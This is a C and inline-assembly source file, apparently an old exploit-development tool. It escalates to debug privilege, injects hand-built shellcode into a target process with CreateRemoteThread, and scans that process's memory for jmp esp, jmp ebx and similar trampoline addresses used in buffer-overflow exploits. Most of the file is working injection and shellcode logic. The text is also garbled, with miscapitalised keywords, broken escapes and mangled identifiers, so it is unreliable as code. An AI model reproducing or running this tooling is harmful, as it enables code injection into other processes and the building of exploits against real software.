//////////////////////////////////////// /////////////
// Get jmp esp/jmp ebx/call EBX address in a process
// By isno
// It must be compiled in debug mode in VC.
//////////////////////////////////////// /////////////
# Include <windows. h>
# Include <stdio. h>
# Include <winioctl. h>
# Define fnendlong 0x08
# Define nopcode 0x90
# Define noplong 0x0
# Define buffsize 0x20000
# Define shellbuffsize 0x800
# Define shellfnnums 9 // Number of API functions in shellcode + 1
Void shellcodefn ();
Void cleanchkesp (char * fnadd, char * shellbuff, char * chkesp, int Len );
Int main (INT argc, char ** argv)
{
// String to be used in shellcode
Char * STR = "loadlibrarya" "/x0"
"Getmodulehandlea" "/x0"
"Createfilea" "/x0"
"Writefile" "/x0"
"Closehandle" "/x0"
"Exitthread" "/x0"
"/X09" "msvcrt. dll" "/x0"
"Sprintf"/x0"
"C: // jmp.txt" "/x0"
"-- Jmp esp addr --/R/N" "/x0"
"0x %. 8x/R/N" "/x0"
"-- Jmp ebx addr --/R/N" "/x0"
"Strend ";
Char * fnendstr = "/x90/x90/x90/x90/x90/x90/x90/x90/x90 ";
Char buff [buffsize];
Char shellcodebuff [0x1000];
Char * shellcodefnadd, * chkespadd;
Unsigned int bufflong;
Unsigned int locklong;
Int I, K;
Unsigned char temp;
Handle hprocess, htoken;
Token_privileges newstate;
DWORD processid, returnlength = 0;
Token_privileges TP;
DWORD dwprocessid;
Pcwstr pszlibfile;
Bool Fok = false; // assume that the function fails
Handle hthread = NULL;
Pwstr pszlibfileremote = NULL;
If (argc! = 2)
{
Printf ("Usage: % s PID/N", argv [0]);
Printf ("result is in C: // jmp.txt/N ");
Exit (0 );
}
Dwprocessid = atoi (argv [1]);
_ ASM {
MoV ESI, ESP
Cmp esi, ESP
}
_ Chkesp ();
Chkespadd = _ chkesp;
/* Obtain the address of the chkesp () function */
Temp = * chkespadd;
If (temp = 0xe9 ){
++ Chkespadd;
I = * (int *) chkespadd;
Chkespadd + = I;
Chkespadd + = 4;
}
// Shellcode address
Shellcodefnadd = shellcodefn;
// Locate the actual shellcodefn ()
Temp = * shellcodefnadd;
If (temp = 0xe9 ){
++ Shellcodefnadd;
K = * (int *) shellcodefnadd;
Shellcodefnadd + = K;
Shellcodefnadd + = 4;
}
// Locate the end of shellcode
For (k = 0; k <= 0x1000; ++ K ){
If (memcmp (shellcodefnadd + k, fnendstr, fnendlong) = 0)
Break;
}
// Copy the shellcode code to shellcodebuff
Memcpy (shellcodebuff, shellcodefnadd, k );
// Clear the chkesp () call
Cleanchkesp (shellcodefnadd, shellcodebuff, chkespadd, k );
// Copy the string to the end of shellcode
For (I = 0; I <0x400; ++ I ){
If (memcmp (STR + I, "strend", 6) = 0)
Break;
}
Memcpy (shellcodebuff + k, STR, I );
Bufflong = K + I; // shellcode Length
/// // Debug /////////////////////
// _ ASM {
// Lea ECx, shellcodebuff
// JMP ECx
//}
/// // Debug /////////////////////
///// // Start the remote thread write ///////////////// //
Openprocesstoken (getcurrentprocess (), token_adjust_privileges, & htoken );
TP. privilegecount = 1;
Lookupprivilegevalue (null, se_debug_name, & TP. Privileges [0]. luid );
TP. Privileges [0]. Attributes = se_privilege_enabled;
Adjusttokenprivileges (htoken, false, & TP, sizeof (TP), null, null );
Closehandle (htoken );
_ Try {
// Get a handle for the target process.
Hprocess = OpenProcess (
Process_query_information | // required by alpha
Process_create_thread | // For createremotethread
Process_vm_operation | // For virtualallocex/virtualfreeex
Process_vm_write, // For writeprocessmemory
False, dwprocessid );
If (hprocess = NULL)
{
Printf ("OpenProcess failed! /N ");
_ Leave;
}
// Allocate space in the remote process for the pathname
Pszlibfileremote = (pwstr) virtualallocex (hprocess, null, bufflong, mem_commit, page_readwrite );
If (pszlibfileremote = NULL)
{
Printf ("virtualallocex failed! /N ");
_ Leave;
}
// Copy the DLL's pathname to the remote process's address space
If (! Writeprocessmemory (hprocess, pszlibfileremote, (pvoid) shellcodebuff, bufflong, null ))
{
Printf ("writeprocessmemory failed! /N ");
_ Leave;
}
// Create a remote thread that CILS loadlibraryw (dllpathname)
Hthread = createremotethread (hprocess, null, 0, pszlibfileremote, null, 0, null );
If (hthread = NULL)
{
Printf ("createremotethread failed! /N ");
_ Leave;
}
// Wait for the remote thread to terminate
// Waitforsingleobject (hthread, infinite );
Fok = true; // everything executed successfully
Printf ("result is in C: // jmp.txt/N ");
}
_ Finally {// now, we can clean everthing up
If (hthread! = NULL)
Closehandle (hthread );
If (hprocess! = NULL)
Closehandle (hprocess );
}
//////////////////////////////////////// ///////////////
Return (0 );
}
// Shellcode actual function code
Void shellcodefn ()
{
Char buff [0x800];
Int * t [3];
Farproc sprintfadd;
Farproc nopnop;
Farproc exitthreadadd;
Farproc closehandleadd;
Farproc writefileadd;
Farproc createfileaadd;
Farproc getmodulehandleaadd;
Farproc procloadlib;
Farproc apifnadd [1];
Farproc procgetadd = 0;
Char * stradd, * stradd1, * fmtstr;
Int imgbase, fnbase, K, L;
Int findaddr;
Handle libhandle;
DWORD ret;
// Create an exception handling code for our own Exception Handling Code
_ ASM {
// INT 3
MoV eax, 1
JMP nextcall
Getstradd:
Pop stradd
Lea EDI,
MoV eax, dword ptr fs: [0]
MoV dword ptr [EDI + 0x08], eax
MoV dword ptr fs: [0], EDI
}
Stradd1 = stradd;
Counter T [0] = 0 xffffffff;
Except [1] = stradd-0x07;
// Search process space from this address
Imgbase = 0x77e00000;
_ ASM {
Call getasktretadd
}
For (; imgbase <0xbffa0000, procgetadd = 0 ;)
{
// Increase by 0x10000 each time
Imgbase + = 0x10000;
If (imgbase = 0x78000000)
Imgbase = 0xbff00000;
// Determine whether the PE format is used
If (* (word *) imgbase = 'zm' & * (word *) (imgbase + * (int *) (imgbase + 0x3c) = 'EP ')
{
// Locate the image name in PE format
Fnbase = * (int *) (imgbase + 0x3c) + 0x78) + imgbase;
K = * (int *) (fnbase + 0xc) + imgbase;
// Determine whether it is Kernel32
If (* (int *) k = 'rek' & * (int *) (K + 4) = '23le ')
{
Libhandle = imgbase;
K = imgbase + * (int *) (fnbase + 0x20 );
For (L = 0; L <* (int *) (fnbase + 0x18); ++ L, K + = 4)
{
// Find the getprocaddress Function
If (* (int *) (imgbase + * (int *) K) = 'pteg' & * (int *) (4 + imgbase + * (int *) k) = 'ac ')
{
K = * (word *) (L + imgbase + * (int *) (fnbase + 0x24 ));
K + = * (int *) (fnbase + 0x10)-1;
K = * (int *) (K + imgbase + * (int *) (fnbase + 0x1c ));
Procgetadd = K + imgbase;
Break;
}
}
}
}
}
// Search for the address of the kernel32.dll module and the address of the API function getprocaddress
// Exception handling is used to handle the absence of search pages
_ ASM {
Lea EDI,
MoV eax, dword ptr [EDI + 0x08]
MoV dword ptr fs: [0], eax
}
// Restore the exception chain
If (procgetadd = 0)
Goto die;
// Use getprocaddress to obtain the API address used in shellcode
For (k = 1; k <shellfnnums; ++ K)
{
If (* stradd1 = 0x9)
Libhandle = getmodulehandleaadd (stradd1 + 1 );
Else
Apifnadd [k] = procgetadd (libhandle, stradd1 );
For (; ++ stradd1)
{
If (* (stradd1) = 0 & * (stradd1 + 1 )! = 0)
Break;
}
++ Stradd1;
}
Libhandle = createfileaadd (stradd1, generic_write, file_share_read, null, open_always, file_attribute_normal, null );
Stradd1 + = 11; // stradd1 points to "-- JMP Esp --/R/N"
Writefileadd (libhandle, stradd1, 18, & ret, null );
Stradd1 + = 19; // stradd1 points to "0x. 8x/R/N"
Fmtstr = stradd1;
Stradd1 + = 9; // stradd1 points to "-- jmp ebx --/R/N"
//////////////////////////////////////// //////////////////
// Create an exception handling code for our own Exception Handling Code
// Get JMP ESP
_ ASM {
// INT 3
Lea EDI,
MoV eax, dword ptr fs: [0]
MoV dword ptr [EDI + 0x08], eax
MoV dword ptr fs: [0], EDI
}
Counter T [0] = 0 xffffffff;
Except [1] = stradd-0x07;
// Search process space from this address
_ ASM {
// INT 3
Xor ebx, EBX
Call getasktretadd
Add EBX, 1000 h
Cmp ebx, 80000000 H
Jae gsleep1
JMP loadmem1
Findj1:
INC EBX
Loadmem1:
MoV Al, byte PTR [EBX]
CMP Al, 0xff // FF E4 = JMP ESP
Jnz findj1
MoV Al, byte PTR [EBX + 1]
CMP Al, 0xe4
Jnz findj1
MoV findaddr, EBX
}
Sprintfadd (buff, fmtstr, findaddr );
Writefileadd (libhandle, buff, 12, & ret, null );
_ ASM {
JMP findj1
Gsleep1:
Xor ebx, EBX
Call getasktretadd
Add EBX, 1000 h
Cmp ebx, 80000000 H
Jae gsleep2
JMP loadmem2
Findj2:
INC EBX
Loadmem2:
MoV Al, byte PTR [EBX]
CMP Al, 0x54 // 54 C3 = Push ESP, RET
Jnz findj2
MoV Al, byte PTR [EBX + 1]
CMP Al, 0xc3
Jnz findj2
MoV findaddr, EBX
}
Sprintfadd (buff, fmtstr, findaddr );
Writefileadd (libhandle, buff, 12, & ret, null );
_ ASM {
JMP findj2
Gsleep2:
NOP
}
// Get JMP EBX
Writefileadd (libhandle, stradd1, 18, & ret, null );
//////////////////////////////////////// //////////////////
// Search process space from this address
_ ASM {
// INT 3
Xor ebx, EBX
Call getasktretadd
Add EBX, 1000 h
Cmp ebx, 80000000 H
Jae gsleepb1
JMP loadmemb1
Findjb1:
INC EBX
Loadmemb1:
MoV Al, byte PTR [EBX]
CMP Al, 0xff // FF E3 = JMP EBX
Jnz findjb1
MoV Al, byte PTR [EBX + 1]
CMP Al, 0xe3
Jnz findjb1
MoV findaddr, EBX
}
Sprintfadd (buff, fmtstr, findaddr );
Writefileadd (libhandle, buff, 12, & ret, null );
_ ASM {
JMP findjb1
Gsleepb1:
NOP
Xor ebx, EBX
Call getasktretadd
Add EBX, 1000 h
Cmp ebx, 80000000 H
Jae gsleepb2
JMP loadmemb2
Findjb2:
INC EBX
Loadmemb2:
MoV Al, byte PTR [EBX]
CMP Al, 0xff // FF D3
Jnz findjb2
MoV Al, byte PTR [EBX + 1]
CMP Al, 0xd3
Jnz findjb2
MoV findaddr, EBX
}
Sprintfadd (buff, fmtstr, findaddr );
Writefileadd (libhandle, buff, 12, & ret, null );
_ ASM {
JMP findjb2
Gsleepb2:
NOP
Xor ebx, EBX
Call getasktretadd
Add EBX, 1000 h
Cmp ebx, 80000000 H
Jae gsleepb3
JMP loadmemb3
Findjb3:
INC EBX
Loadmemb3:
MoV Al, byte PTR [EBX]
CMP Al, 0x53 // 53 C3 = Push EBX, RET
Jnz findjb3
MoV Al, byte PTR [EBX + 1]
CMP Al, 0xc3
Jnz findjb3
MoV findaddr, EBX
}
Sprintfadd (buff, fmtstr, findaddr );
Writefileadd (libhandle, buff, 12, & ret, null );
_ ASM {
JMP findjb3
Gsleepb3:
NOP
}
Closehandleadd (libhandle );
Exitthreadadd (0x7fffffff );
// Search for the address of the kernel32.dll module and the address of the API function getprocaddress
// Exception handling is used to handle the absence of search pages
_ ASM {
Lea EDI,
MoV eax, dword ptr [EDI + 0x08]
MoV dword ptr fs: [0], eax
}
// Restore the exception chain
// Endless loop
Die:
Goto die;
// Our own exception handling code to solve the issue of continued execution when searching for pages with invalid memory
_ ASM {
Getjavastretadd:
Pop eax
Push eax
MoV EDI, dword ptr [stradd]
MoV dword ptr [edi-0x0e], eax
RET
Errprogram:
MoV eax, dword ptr [esp + 0x0c]
Add eax, 0xb8
MoV dword ptr [eax], 0x11223344 // stradd-0xe, this address is modified
XOR eax, eax // 2
RET // 1
Execptprogram:
JMP errprogram // 2 bytes stradd-7
Nextcall:
Call getstradd // 5 bytes
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
}
}
/* Clear chkesp () call code in shellcode */
Void cleanchkesp (char * fnadd, char * shellbuff, char * chkesp, int Len)
{
Int I, K;
Unsigned char temp;
Char * calladd;
For (I = 0; I <Len; ++ I ){
Temp = shellbuff [I];
If (temp = 0xe8 ){
K = * (int *) (shellbuff + I + 1 );
Calladd = fnadd;
Calladd + = K;
Calladd + = I;
Calladd + = 5;
If (calladd = chkesp ){
Shellbuff [I] = 0x90;
Shellbuff [I + 1] = 0x43; // Inc EBX
Shellbuff [I + 2] = 0x4b; // dec EBX
Shellbuff [I + 3] = 0x43;
Shellbuff [I + 4] = 0x4b;
}
}
}
}